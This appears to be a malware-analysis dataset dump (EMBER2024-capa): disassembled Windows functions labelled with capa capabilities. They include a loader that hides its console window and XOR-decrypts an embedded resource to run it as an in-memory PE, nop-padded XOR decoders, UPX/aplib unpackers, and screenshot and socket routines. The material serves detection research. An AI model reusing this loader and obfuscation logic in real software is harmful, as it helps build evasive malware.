joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401250
Capabilities:
Extract resource via kernel32 functions
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414420
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [section..data]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x415238
mov esi, eax
push 0x145
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4012d8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4012d8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x4012d8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
jmp 0x4012dd
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov eax, 0x24924925
mov dword [ebp - 0x14], 0
mul ebx
mov esi, ebx
sub esi, edx
shr esi, 1
add esi, edx
push ebx
push str.dwSize:__d__n
shr esi, 2
call fcn.00401400
push ebx
call fcn.0040142e
add esp, 0xc
mov dword [ebp - 0x20], eax
xor edi, edi
test ebx, ebx
je 0x40138d
mov dword [ebp - 0x1c], eax
mov eax, 0x24924925
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
lea ecx, [eax*8]
sub ecx, eax
mov eax, edi
sub eax, ecx
je 0x401364
call fcn.00404383
test al, 1
jne 0x401388
cmp esi, ebx
jae 0x401360
call fcn.00404383
and eax, 0x800000ff
jns 0x401357
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [ebp - 0x20]
mov byte [ecx + esi], al
inc esi
jmp 0x401388
mov esi, ebx
jmp 0x401388
mov eax, dword [ebp - 0x14]
xor ecx, ecx
inc eax
cmp eax, 0x1a
cmovne ecx, eax
mov dword [ebp - 0x14], ecx
mov al, byte [ecx + str.My_key_is_my_own_buisenes.]
mov ecx, dword [ebp - 0x18]
xor al, byte [edi + ecx]
mov ecx, dword [ebp - 0x1c]
mov byte [ecx], al
inc ecx
mov dword [ebp - 0x1c], ecx
inc edi
cmp edi, ebx
jb 0x401316
push str.decrypted
call fcn.00401400
push dword [ebp - 0x20]
call fcn.00401000
add esp, 8
test eax, eax
jne 0x4013dd
push str.Error:_loading_PE_from_memory._n
call fcn.00401400
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c66
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ca5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ca5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ca5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ca5
cmp dword [ecx + 0x74], 0xe
jbe 0x401ca5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40b881
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b91e
push ebx
push esi
call fcn.0040b84a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b7e0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b8cb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b91d
push edi
push eax
call fcn.00408c00
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b8eb
call fcn.00408220
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b91c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b7e0
add esp, 0x20
test eax, eax
jne 0x40b90a
push edi
call fcn.00408220
jmp 0x40b912
push ebx
call fcn.00408220
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x40fddb
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x40fdf5
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x40fe0c
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x40fe64
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.0040bfba
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x40fe64
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x40fe64
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x40fe64
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x40fe5e
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x40fe60
xor bl, bl
mov al, bl
jmp 0x40fe66
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x413bc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x413bed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x413bed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x98a68c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x98a6b3
call fcn.0092cbf8
mov dword [eax], esi
call fcn.0092cbe5
push 0x16
pop esi
mov dword [eax], esi
call fcn.0092d83a
mov eax, esi
jmp 0x98a708
test dword [ebp + 0xc], 0xfffffff9
jne 0x98a699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x98a6e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0092cc0b
pop ecx
call fcn.0092cbe5
mov eax, dword [eax]
jmp 0x98a708
test al, 0x10
jne 0x98a706
test al, 1
je 0x98a706
test byte [ebp + 0xc], 2
je 0x98a706
call fcn.0092cbf8
mov dword [eax], 5
call fcn.0092cbe5
mov dword [eax], 0xd
jmp 0x98a6d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x417d34
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00417db3
jae 0x417d40
xor ecx, ecx
call fcn.00417db3
jae 0x417d6a
xor eax, eax
call fcn.00417db3
jae 0x417d7b
mov al, 0x10
call fcn.00417db3
adc al, al
jae 0x417d5c
jne 0x417da8
stosb byte es:[edi], al
jmp 0x417d41
call fcn.00417dbf
dec ecx
loop 0x417d87
mov eax, ebp
call fcn.00417dbd
jmp 0x417da9
lodsb al, byte [esi]
shr eax, 1
je 0x417dcf
adc ecx, 2
mov ebp, eax
jmp 0x417da9
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00417dbd
cmp eax, 0x7d00
jae 0x417da7
cmp eax, 0x500
jae 0x417da8
cmp eax, 0x7f
ja 0x417da9
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x417d41
pop ebp
ret 8

Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x6d612050
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x47263df2
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x539fb0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xe5000]
push edi
jmp 0x539fca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x539fd1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x539fc0
mov eax, 1
add ebx, ebx
jne 0x539fe3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x539ff4
jne 0x53a013
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53a013
dec eax
add ebx, ebx
jne 0x53a000
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x539fd8
add ebx, ebx
jne 0x53a00f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x53a065
xor ecx, ecx
sub eax, 3
jb 0x53a02b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53a09a
sar eax, 1
mov ebp, eax
jmp 0x53a036
add ebx, ebx
jne 0x53a036
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53a004
inc ecx
add ebx, ebx
jne 0x53a044
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x53a004
add ebx, ebx
jne 0x53a051
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x53a046
jne 0x53a062
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x53a046
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x53a084
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x53a076
jmp 0x539fc6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x53a084
add edi, ecx
jmp 0x539fc6
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x53a0a2
cmp byte [edi], 0x11
jne 0x53a0a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x53a0a7
lea edi, [esi + 0x132000]
mov eax, dword [edi]
or eax, eax
je 0x53a11f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19b004]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19b180]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x53a0d4
mov ecx, edi
jns 0x53a103
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19b184]
or eax, eax
je 0x53a119
mov dword [ebx], eax
add ebx, 4
jmp 0x53a0f1
call dword [esi + 0x19b194]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x53a150
cmp al, 0xef
ja 0x53a143
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x53a125
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x53a132
mov ebp, dword [esi + 0x19b188]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x53a184
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x40c760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x40c782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40c789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40c778
mov eax, 1
add ebx, ebx
jne 0x40c79b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40c790
jne 0x40c7ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c790
xor ecx, ecx
sub eax, 3
jb 0x40c7c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40c832
mov ebp, eax
add ebx, ebx
jne 0x40c7cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40c7d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40c7fc
inc ecx
add ebx, ebx
jne 0x40c7e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40c7dd
jne 0x40c7f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40c7dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40c81c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40c80d
jmp 0x40c77e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40c81c
add edi, ecx
jmp 0x40c77e
pop esi
mov edi, esi
mov ecx, 0xcf
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40c83a
cmp byte [edi], 4
jne 0x40c83a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40c83f
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40c8ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc1dc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc304]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40c86c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc30c]
or eax, eax
je 0x40c8a8
mov dword [ebx], eax
add ebx, 4
jmp 0x40c889
call dword [esi + 0xc308]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x40c8df
cmp al, 0xef
ja 0x40c8d2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x40c8b4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x40c8c1
mov ebp, dword [esi + 0xc310]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40c913
sub esp, 0xffffff80
jmp 0x40303c
Function at 0x10003b73
Capabilities:
Terminate process

Disassembly:
push 0
push str.Unable_to_run_Blitz_Basic_module
push dword [esp + 0xc]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10006515
Capabilities:
Set console window title

Disassembly:
call dword [sym.imp.KERNEL32.dll_AllocConsole]
test eax, eax
je 0x10006566
push esi
call fcn.10006649
mov esi, eax
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, esi
call fcn.10001820
push 0x1009431c
push str.CONIN_
call fcn.1002418b
push 0x10094310
push str.CONOUT_
mov dword [0x10094300], eax
call fcn.1002418b
add esp, 0x10
mov dword [0x10094304], eax
mov al, 1
pop esi
ret
xor al, al
ret

Function at 0x10006973
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push eax
call fcn.10023df5
add esp, 0xc
push 0x50000
push str._INTERNAL_ERROR_
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call fcn.10024294
jmp 0x100069bc
mov dword [0x100ae534], vtable.BBDebugger.0
ret

Function at 0x10007cc9
Capabilities:
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
inc eax
test cl, 0x10
push 0
pop ecx
setne cl
inc ecx
neg eax
sbb eax, eax
and eax, ecx
ret 4

Function at 0x1000c699
Capabilities:
Get graphical window text

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
mov esi, ecx
mov eax, dword [esi + 0x78]
push 0xe
push eax
call edi
mov ebp, eax
lea ebx, [ebp + 1]
push ebx
call fcn.10022496
pop ecx
push eax
push ebx
push 0xd
push dword [esi + 0x78]
mov dword [esp + 0x20], eax
call edi
push 0x10
call fcn.10022496
test eax, eax
pop ecx
je 0x1000c6e7
push ebp
push dword [esp + 0x14]
mov ecx, eax
call fcn.10009e7e
mov esi, eax
jmp 0x1000c6e9
xor esi, esi
push dword [esp + 0x10]
call fcn.10021fbc
pop ecx
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x1000fea3
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [ebp + 0xc], 0x14
push esi
push edi
mov esi, ecx
jne 0x1000ff60
xor edi, edi
cmp dword [esi + 0x34], edi
je 0x1000ff39
lea eax, [ebp - 0x10]
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_GetClientRect]
push dword [ebp + 0x10]
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [esi + 0x34]
mov dword [ebp + 0xc], eax
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
cmp dword [ebp - 4], edi
mov dword [ebp + 0x14], eax
jle 0x1000ff22
push ebx
xor ebx, ebx
cmp dword [ebp - 8], ebx
jle 0x1000ff19
mov eax, dword [esi + 0x38]
push 0xcc0020
push 0
push 0
push dword [ebp + 0xc]
push dword [esi + 0x3c]
push eax
push edi
push ebx
push dword [ebp + 0x10]
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 0x38]
add ebx, eax
cmp ebx, dword [ebp - 8]
jl 0x1000fef4
add edi, dword [esi + 0x3c]
cmp edi, dword [ebp - 4]
jl 0x1000feea
pop ebx
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_SelectObject]
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_DeleteDC]
jmp 0x1000ff5b
cmp dword [esi + 0x30], edi
je 0x1000ff60
lea eax, [ebp - 0x10]
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_GetClientRect]
push dword [esi + 0x30]
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_FillRect]
push 1
pop eax
jmp 0x1000ff75
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x18]
call dword [sym.imp.USER32.dll_CallWindowProcA]
pop edi
pop esi
leave
ret 0x14
Function at 0x10017677
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x74], 0
push edi
jne 0x10017774
cmp dword [0x100b4100], 0
je 0x100176a6
call sub.WINMM.dll_timeGetTime
add eax, dword [0x100b4100]
mov dword [ebp - 0xc], eax
xor ebx, ebx
cmp dword [0x100b4100], ebx
je 0x100176be
call sub.WINMM.dll_timeGetTime
mov ebx, dword [ebp - 0xc]
sub ebx, eax
jns 0x100176be
xor ebx, ebx
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x118], eax
xor eax, eax
push 0x3f
pop ecx
mov dword [ebp - 0x11c], 1
lea edi, [ebp - 0x114]
rep stosd dword es:[edi], eax
mov ecx, 0x3e8
mov eax, ebx
cdq
mov edi, ecx
idiv edi
xor edi, edi
mov dword [ebp - 0x18], eax
mov eax, ebx
cdq
idiv ecx
lea eax, [ebp - 0x18]
push eax
push edi
push edi
lea eax, [ebp - 0x11c]
push eax
push edi
imul edx, edx, 0x3e8
mov dword [ebp - 0x14], edx
call sub.WSOCK32.dll_select
cmp eax, edi
je 0x10017774
cmp eax, 1
jne 0x10017770
or dword [ebp - 8], 0xffffffff
lea eax, [ebp - 8]
push eax
push 0x4004667f
push dword [esi + 0x1c]
call sub.WSOCK32.dll_ioctlsocket
test eax, eax
jne 0x10017770
and byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
push dword [ebp - 8]
lea ecx, [esi + 0x20]
call fcn.10010704
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [esi + 0x50]
push ecx
push edi
push dword [ebp - 8]
mov dword [esi + 0x70], edi
mov eax, dword [esi + 0x24]
push eax
push dword [esi + 0x1c]
mov dword [ebp - 0x10], 0x10
call sub.WSOCK32.dll_recvfrom
cmp eax, 0xffffffff
jne 0x10017778
jmp 0x100176a6
or dword [esi + 0x74], 0xffffffff
xor eax, eax
jmp 0x10017790
and byte [ebp - 1], 0
lea ecx, [ebp - 1]
push ecx
push eax
lea ecx, [esi + 0x20]
call fcn.10010704
mov ecx, esi
call fcn.10017825
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100178fb
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
mov ebx, ecx
cmp dword [ebx + 0x24], 0
je 0x10017914
xor eax, eax
jmp 0x100179f3
cmp dword [0x100b4298], 0
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi + eax]
mov dword [ebp - 4], edi
mov dword [ebp + 0xc], esi
je 0x1001793c
call sub.WINMM.dll_timeGetTime
add eax, dword [0x100b4298]
mov dword [ebp - 8], eax
cmp edi, esi
jae 0x100179eb
xor esi, esi
cmp dword [0x100b4298], esi
je 0x1001795c
call sub.WINMM.dll_timeGetTime
mov esi, dword [ebp - 8]
sub esi, eax
jns 0x1001795c
xor esi, esi
mov eax, dword [ebx + 0x1c]
mov dword [ebp - 0x110], eax
xor eax, eax
push 0x3f
pop ecx
mov dword [ebp - 0x114], 1
lea edi, [ebp - 0x10c]
rep stosd dword es:[edi], eax
mov eax, esi
cdq
mov ecx, 0x3e8
mov edi, ecx
idiv edi
mov dword [ebp - 0x10], eax
mov eax, esi
cdq
idiv ecx
lea eax, [ebp - 0x10]
push eax
xor esi, esi
push esi
push esi
lea eax, [ebp - 0x114]
push eax
push esi
imul edx, edx, 0x3e8
mov dword [ebp - 0xc], edx
call sub.WSOCK32.dll_select
push 1
pop edi
cmp eax, edi
jne 0x100179e7
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp - 4]
push esi
push eax
push dword [ebp - 4]
push dword [ebx + 0x1c]
call sub.WSOCK32.dll_recv
cmp eax, esi
je 0x100179e2
cmp eax, 0xffffffff
je 0x100179e7
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jb 0x10017944
jmp 0x100179eb
mov dword [ebx + 0x24], edi
jmp 0x100179eb
or dword [ebx + 0x24], 0xffffffff
mov eax, dword [ebp - 4]
sub eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10017a4b
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x24]
xor ebx, ebx
cmp eax, ebx
jne 0x10017abe
mov eax, dword [esi + 0x1c]
push edi
push 0x3f
pop ecx
mov dword [ebp - 0x108], eax
xor eax, eax
mov dword [ebp - 0x10c], 1
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
push ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call sub.WSOCK32.dll_select
sub eax, ebx
pop edi
je 0x10017abb
dec eax
je 0x10017aa9
or dword [esi + 0x24], 0xffffffff
jmp 0x10017abb
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x14]
test eax, eax
jne 0x10017abb
mov dword [esi + 0x24], 1
mov eax, dword [esi + 0x24]
pop esi
pop ebx
leave
ret
Function at 0x10017b5a
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, ecx
cmp dword [esi + 0x1c], 0
push edi
jne 0x10017be4
mov eax, dword [esi + 0x20]
mov dword [ebp - 0x108], eax
xor eax, eax
push 0x3f
pop ecx
mov dword [ebp - 0x10c], 1
lea edi, [ebp - 0x104]
rep stosd dword es:[edi], eax
mov ecx, dword [0x100b429c]
mov eax, ecx
cdq
mov edi, 0x3e8
mov ebx, edi
idiv ebx
mov dword [ebp - 8], eax
mov eax, ecx
cdq
idiv edi
lea eax, [ebp - 8]
push eax
xor edi, edi
push edi
push edi
lea eax, [ebp - 0x10c]
push eax
push edi
imul edx, edx, 0x3e8
mov dword [ebp - 4], edx
call sub.WSOCK32.dll_select
cmp eax, edi
je 0x10017be4
cmp eax, 1
jne 0x10017be0
push edi
push edi
push dword [esi + 0x20]
call sub.WSOCK32.dll_accept
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10017be8
or dword [esi + 0x1c], 0xffffffff
xor eax, eax
jmp 0x10017c09
push 0x30
call fcn.10022496
cmp eax, edi
pop ecx
je 0x10017bff
push esi
push ebx
mov ecx, eax
call fcn.1001783e
mov edi, eax
push edi
mov ecx, esi
call fcn.1001db61
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10017f87
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push esi
mov esi, dword [esp + 8]
mov eax, dword [esi + 4]
test eax, eax
push edi
mov edi, 0x100875b4
jne 0x10017f9b
mov eax, edi
push eax
call sub.WSOCK32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x10017fcd
mov eax, dword [esi + 4]
test eax, eax
jne 0x10017faf
mov eax, edi
push eax
call sub.WSOCK32.dll_gethostbyname
test eax, eax
jne 0x10017fbe
or eax, 0xffffffff
jmp 0x10017fcd
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
